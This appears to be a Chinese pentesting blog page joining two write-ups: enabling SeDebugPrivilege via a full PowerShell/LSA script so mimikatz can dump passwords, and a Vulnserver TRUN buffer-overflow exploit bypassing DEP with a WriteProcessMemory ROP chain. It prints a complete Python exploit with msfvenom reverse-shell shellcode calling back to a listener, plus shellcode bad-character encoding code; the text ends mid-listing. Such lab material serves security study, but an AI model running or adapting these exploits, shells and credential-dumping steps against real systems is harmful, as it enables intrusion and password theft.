0%

最近,在渗透测试抓取密码的时候,出现如下问题:

Sed

一般出现这个问题是因为当前cmd权限不够,这里的cmd已经是管理员权限,所以有点奇怪,现在来进行排查,查看当前用户的信息:

Sed

Sed

Sed

虽然当前用户在管理员组,但是SeDebugPrivilege权限竟然没有设置,这个比较奇怪。原因出在这里,没有Enable SeDebugPrivilege

现在来开启SeDebugPrivilege

Sed

注意,给当前用户加入SeDebugPrivilege权限之后,需要重启机器,然后再进行操作。上图后续几步操作其实在重启之前是无效的。

重启之后,查看用户权限:

Sed

继续来一遍之前的操作:

Sed

可以发现,现在SeDebugPrivilege已经变为Enabled了。

再次运行mimikatz,发现可以抓取密码了。

Sed

SetSeDebugPrivilege.ps1源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
function Main
{
Param (
[parameter(Mandatory=$True)]
[string]$AccountName,
[parameter(Mandatory=$True)]
[string]$Privilege
)
$ErrorActionPreference = "Stop"
$VerbosePreference = "Continue"

#Target account to assign previlage
$IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')

# Needs Admin privs
if (!$IsAdmin) {
echo "`n[!] Administrator privileges are required!`n"
Return
}

$Whoami = whoami /priv /fo csv |ConvertFrom-Csv
$SeDebugPriv = $whoami -Match "SeDebugPrivilege"

# SeDebugPriv needs to be available
if (!$SeDebugPriv) {
echo "`n[!] SeDebugPrivilege not available, available it!"
Write-Verbose ("Set account privilage({0}) to '{1}'" -f "SeDebugPrivilege", $AccountName)
[LsaWrapper]::SetRight($AccountName, s)
}


echo "`n[?] SeDebugPrivilege is available now!"
foreach ($priv in $whoami) {
if ($priv."Privilege Name" -contains "SeDebugPrivilege") {
$DebugVal = $priv.State
}
}

# Get current proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
echo "`n[+] Current process handle: $ProcHandle"

# Open token handle with TOKEN_ADJUST_PRIVILEGES bor TOKEN_QUERY
echo "`n[>] Calling Advapi32::OpenProcessToken"
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x28, [ref]$hTokenHandle)
echo "[+] Token handle with TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY: $hTokenHandle`n"

# Enable SeDebugPrivilege if needed
if ($DebugVal -eq "Disabled") {
echo "[?] SeDebugPrivilege is disabled, enabling..`n"

# Prepare TokPriv1Luid container
$TokPriv1Luid = New-Object TokPriv1Luid
$TokPriv1Luid.Count = 1
$TokPriv1Luid.Attr = 0x00000002 # SE_PRIVILEGE_ENABLED

# Get SeDebugPrivilege luid
$LuidVal = $Null
echo "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege"
$CallResult = [Advapi32]::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$LuidVal)
echo "[+] SeDebugPrivilege LUID value: $LuidVal`n"
$TokPriv1Luid.Luid = $LuidVal

# Enable SeDebugPrivilege for the current process
echo "[>] Calling Advapi32::AdjustTokenPrivileges`n"
$CallResult = [Advapi32]::AdjustTokenPrivileges($hTokenHandle, $False, [ref]$TokPriv1Luid, 0, [IntPtr]::Zero, [IntPtr]::Zero)
if (!$CallResult) {
$LastError = [Kernel32]::GetLastError()
echo "[!] Mmm, something went wrong! GetLastError returned: $LastError`n"
Return
}
}

echo "[?] SeDebugPrivilege is enabled!`n"




}

Add-Type -TypeDefinition @'
using System;
using System.Text;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.ComponentModel;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);

[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref long lpLuid);

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TokPriv1Luid NewState,
int BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);

[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);

[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
IntPtr Thread,
IntPtr Token);
}
public static class LSAWrapper
{
[DllImport("advapi32.dll", PreserveSig = true)]
private static extern UInt32 LsaOpenPolicy(
ref LSA_UNICODE_STRING SystemName,
ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
Int32 DesiredAccess,
out IntPtr PolicyHandle
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
private static extern long LsaAddAccountRights(
IntPtr PolicyHandle,
IntPtr AccountSid,
LSA_UNICODE_STRING[] UserRights,
long CountOfRights);

[DllImport("advapi32.dll")]
private static extern long LsaClose(IntPtr objectHandle);

[DllImport("kernel32.dll")]
private static extern int GetLastError();

[DllImport("advapi32.dll")]
private static extern long LsaNtStatusToWinError(long status);

[StructLayout(LayoutKind.Sequential)]
private struct LSA_OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public readonly LSA_UNICODE_STRING ObjectName;
public UInt32 Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}

[StructLayout(LayoutKind.Sequential)]
private struct LSA_UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}

[Flags]
private enum LSA_AccessPolicy : long
{
POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
POLICY_TRUST_ADMIN = 0x00000008L,
POLICY_CREATE_ACCOUNT = 0x00000010L,
POLICY_CREATE_SECRET = 0x00000020L,
POLICY_CREATE_PRIVILEGE = 0x00000040L,
POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
POLICY_SERVER_ADMIN = 0x00000400L,
POLICY_LOOKUP_NAMES = 0x00000800L,
POLICY_NOTIFICATION = 0x00001000L
}

//POLICY_ALL_ACCESS mask <http://msdn.microsoft.com/en-us/library/windows/desktop/ms721916%28v=vs.85%29.aspx>
private const int POLICY_ALL_ACCESS = (int)(
LSA_AccessPolicy.POLICY_AUDIT_LOG_ADMIN |
LSA_AccessPolicy.POLICY_CREATE_ACCOUNT |
LSA_AccessPolicy.POLICY_CREATE_PRIVILEGE |
LSA_AccessPolicy.POLICY_CREATE_SECRET |
LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION |
LSA_AccessPolicy.POLICY_LOOKUP_NAMES |
LSA_AccessPolicy.POLICY_NOTIFICATION |
LSA_AccessPolicy.POLICY_SERVER_ADMIN |
LSA_AccessPolicy.POLICY_SET_AUDIT_REQUIREMENTS |
LSA_AccessPolicy.POLICY_SET_DEFAULT_QUOTA_LIMITS |
LSA_AccessPolicy.POLICY_TRUST_ADMIN |
LSA_AccessPolicy.POLICY_VIEW_AUDIT_INFORMATION |
LSA_AccessPolicy.POLICY_VIEW_LOCAL_INFORMATION
);

public static void SetRight(string accountName, string privilegeName)
{
//Convert assigned privilege to LSA_UNICODE_STRING[] object
var userRights = GetUserRightsObject(privilegeName);

//Get account SID and pin object for P/Invoke
var sid = GetBinarySID(accountName);
var handle = GCHandle.Alloc(sid, GCHandleType.Pinned);

//Open LSA policy
IntPtr policyHandle = OpenPolicyHandle();
try
{
//add the right to the account
long status = LsaAddAccountRights(policyHandle, handle.AddrOfPinnedObject(), userRights, userRights.Length);

var winErrorCode = LsaNtStatusToWinError(status);
if (winErrorCode != 0)
{
throw new Win32Exception((int)winErrorCode, "LsaAddAccountRights failed");
}
}
finally
{
handle.Free();
Marshal.FreeHGlobal(userRights[0].Buffer); //Can use LsaFreeMemory instead?
LsaClose(policyHandle);
}
}

private static LSA_UNICODE_STRING[] GetUserRightsObject(string privilegeName)
{
//initialize userRights objects
return new[]
{
new LSA_UNICODE_STRING
{
Buffer = Marshal.StringToHGlobalUni(privilegeName),
Length = (UInt16)(privilegeName.Length * UnicodeEncoding.CharSize),
MaximumLength = (UInt16)((privilegeName.Length + 1) * UnicodeEncoding.CharSize)
}
};
}

private static byte[] GetBinarySID(string accountName)
{
//Get account SID
NTAccount account;
try
{
account = new NTAccount(accountName);
}
catch(IdentityNotMappedException)
{
throw; //TODO:ErrorHandling
}

//Convert SID to byte[]
var identity = (SecurityIdentifier)account.Translate(typeof(SecurityIdentifier));
var buffer = new byte[identity.BinaryLength];
identity.GetBinaryForm(buffer, 0);
return buffer;
}

private static IntPtr OpenPolicyHandle()
{
//dummy variables
var systemName = new LSA_UNICODE_STRING();
var objectAttributes = new LSA_OBJECT_ATTRIBUTES
{
Length = 0,
RootDirectory = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};

IntPtr policyHandle;
uint status = LsaOpenPolicy(ref systemName, ref objectAttributes, POLICY_ALL_ACCESS, out policyHandle);

var winErrorCode = LsaNtStatusToWinError(status);
if (winErrorCode != 0)
{
throw new Win32Exception((int)winErrorCode, "LsaOpenPolicy failed");
}
return policyHandle;
}
}
'@

Main

参考:

1.https://blog.csdn.net/singleyellow/article/details/93394557

2.https://www.powershellgallery.com/packages/PoshPrivilege/0.1.1.0/Content/Scripts%5CAdd-Privilege.ps1

3.https://github.com/cloudbase/unattended-setup-scripts/blob/master/ServiceUserManagement.ps1

4.https://gist.github.com/nijave/9174d5af9378a0c4ef1498795f1ead0d

5.https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e

6.https://gist.github.com/altrive/9151365

7.https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1

这次,用WriteProcessMemoryBypass DEP,看一下WriteProcessMemory的函数原型:

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);

hProcess:要修改的进程内存的句柄。句柄必须具有对进程的 PROCESS_VM_WRITEPROCESS_VM_OPERATION 访问权限。

lpBaseAddress:指向要写入数据的指定进程中的基地址的指针。在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据都可以进行写访问,如果不可访问,则函数失败。

lpBuffer:指向缓冲区的指针,该缓冲区包含要写入指定进程地址空间的数据。

nSize:要写入指定进程的字节数。

lpNumberOfBytesWritten:指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWrittenNULL,则忽略该参数。

根据函数各参数的说明,在Bypass DEP的时候,各参数的设置情况:

hProcess:提供一个伪句柄,指定为特定的常量-1,当WriteProcessMemory API被调用的时候,它会将-1转换为实际进程句柄,也就意味着这个参数我们设置的时候可以忽略。

lpBaseAddress:这个参数我们可以设置为一个绝对地址,其指向我们将要写入模块的代码段,为了不引起程序崩溃,可以指向代码段中未使用的区域。这里有个技巧,因为代码段在编译的时候需要对齐,所以选择在代码段上限的尾部即可,因为这里填充的一定是null字符。

windbg中看一眼:

这里可以使用的是essfunc.dll

BOF

依据PE相关知识,获取代码段地址的步骤:

DOS Header + 0x3c指向PE Header

BOF

PE Header + 0x2c指向代码段:

BOF

来获取essfunc.dll的代码段地址:

BOF

获取的代码段地址为62501000,看一下对应的内存属性:

BOF

定位到代码段某一地址(这里62501c00 ,后续考虑地址不包含00字符,选择62501c10作为lpBaseAddress的值):

BOF

lpBuffer:保存shellcode所在地址,这个地址需要到执行栈溢出之后,才能确定。

nSize:shellcode的大小。几乎所以metasploit产生的shellcode大小都是小于500bytes,所以我们可以指定任意值,这里用-524(0xfffffdf4)代替,然后取反即可。换做ROP Gadget就是先把0xfffffdf4存入某个寄存器,如EAX,然后NEG EAX即可。

lpNumberOfBytesWritten:指向一个可写的DWORD空间,用于保存WriteProcessMemory复制的byte数目。比较简单的方法是将其保存到essfunc.dll的数据段里面,来看一下:

1
0:001> !dh -a essfunc

BOF

确认数据段里面的空间没有被使用:

BOF

段需要对齐,可以查看section alignment的对齐为1000

BOF

前面2000+24的值不为1000的整数倍,所以后续会补00,直到它为1000的整数倍为止。我们在取值的时候+4正好可以落在为了补齐增加的00空间里,不需要刻意到前面去查找。

BOF

接下来,就是在essfunc.dllIAT中找是否存在WriteProcessMemory,利用!dh essfunc.dll -f查看IAT地址和偏移时发现都是空,有点诡异。

BOF

windbg用命令dps essfunc L2000查看,找到一些信息:

BOF

借用之前文章《Sync Breeze 10.0.28 bypass DEP》的方法获取WriteProcessMemory的地址,这里就不过多介绍了,国际友人那个脚本会出问题,还是得手动来:

BOF

根据以上信息,WriteProcessMemory函数的部分参数是可以提前确定的:

1
2
3
4
5
6
7
func  = struct.pack("<L",0x45454545)     # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten

现在需要关注的仅为WriteProcessMemory函数地址,shellcode在栈空间的地址,以及shellcode的大小。

这里在确定shellcode栈空间的时候,主动腾出了一片栈空间,保证ROP Gadget不会超出这块空间,也就确定了shellcode的地址,因为只需要接在这块空间之后即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
rop1  = struct.pack("<L", 0x755912d6)    # PUSH ESP # POP ESI # RETN    
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777878) # 0x77777878
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

完整的利用代码如下:(系统重启无效,因为很多ROP Gadgets源于开启ASLRDLLESSFUNC.DLL中不具备完全的ROP Chain生成要素)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.91.142'
PORT = 9999

# #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"


func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll

rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777878) # 0x77777878
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN



rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*128+
shellcode+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

执行,出现问题了:

BOF

因为msfvenom解码存根希望代码存储在可写的内存里面,但是这里并没有。msfvenom解码器在这里变得无法使用,只能利用其他办法,比如自己写不包含坏字符的shellcode;或者替换坏字符,并在代码复制到代码段之前,恢复这些坏字符,这需要增加一些恢复的ROP Gadgets

自定义shellcode:这里有个需要注意的地方,那就是遇到坏字符的处理,可以将产生坏字符的指令替换成其他指令,改变寄存器的值等,有点类似之前egghunter生成存在00字符时,改变指令的方法。这里利用外国友人的脚本,来生成shellcode

BOF

注意对坏字符的检测,这里检测到坏字符,需要自己定位到相应的指令处,手动修改。多个坏字符用空格间隔开。

BOF

将利用脚本里面的shellcode部分替换成这里生成的shellcode,再次执行,喜闻乐见的反弹shell出现了:

BOF

编码和解码shellcode:这种方法稍微复杂点,需要增加一些解码的ROP Gadget,在构建ROP Chain的时候,随着解码坏字符的ROP Gadget的增加,栈空间会随着增加,如果坏字符比较多,所需要的栈空间会更多。编码和解码部分的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def mapBadChars(sh):
BADCHARS = b"\x00"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

def encodeShellcode(sh):
BADCHARS = b"\x00"
REPLACECHARS = b"\xff"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00"
CHARSTOADD = b"\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))


restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop

这个算法的思路就是把每个坏字符的位置保存到一个列表里面,然后从头到尾进行遍历,到达坏字符的位置之后,进行某种运算,这里用的加法,因为0x00-0xff=0x01。我这里是从shellcode的开始位置往后遍历,有的也用开始位置之前往后遍历,主要是看能不能正确遍历每一个值,具体哪种视情况而定。还有上述value=(value)|0x11111100,这里ROP Gadget使用DL,为了保证其他为不会出现00,所以使用了0x11111111,另外不局限于DL,AL,AH,BL,BH等等都可以,关键在于能够找到符合要求的ROP Gadget

考虑到ROP Gadgets会比较长,这里有个小技巧,用于开辟一块比较大的栈空间存储ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777988) # 0x77777988
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN

这里使用0x88888888+0x77777988=0000000100000210(高8位截断,所以为0x210),要多大栈空间,可以大致评估出来,比如先确定有多少坏字符,每个坏字符需要多少bytes ROP Gadgets进行处理,加上处理WriteProcessMemory三个参数的ROP Gadgets,再加上对齐shellcodeROP Gadgets和改变ESP到执行流的ROP Gadgets

BOF

可以看到已经指向了\x90区域。

后续需要注意的就是,解码之前需要让ESP正好指向shellcode开始的部分,我这里的ROP Gadgets如下:

1
2
3
4
# Align EAX with shellcode
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L",0xfffffda8) # 0n600
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

BOF

BOF

还有一个需要注意的地方,因为是自己来进行编码和解码,用msfvenom仅需生成原始shellcode即可。如本地使用如下:

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode

以上是需要注意的地方,当存在单个坏字符时,最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
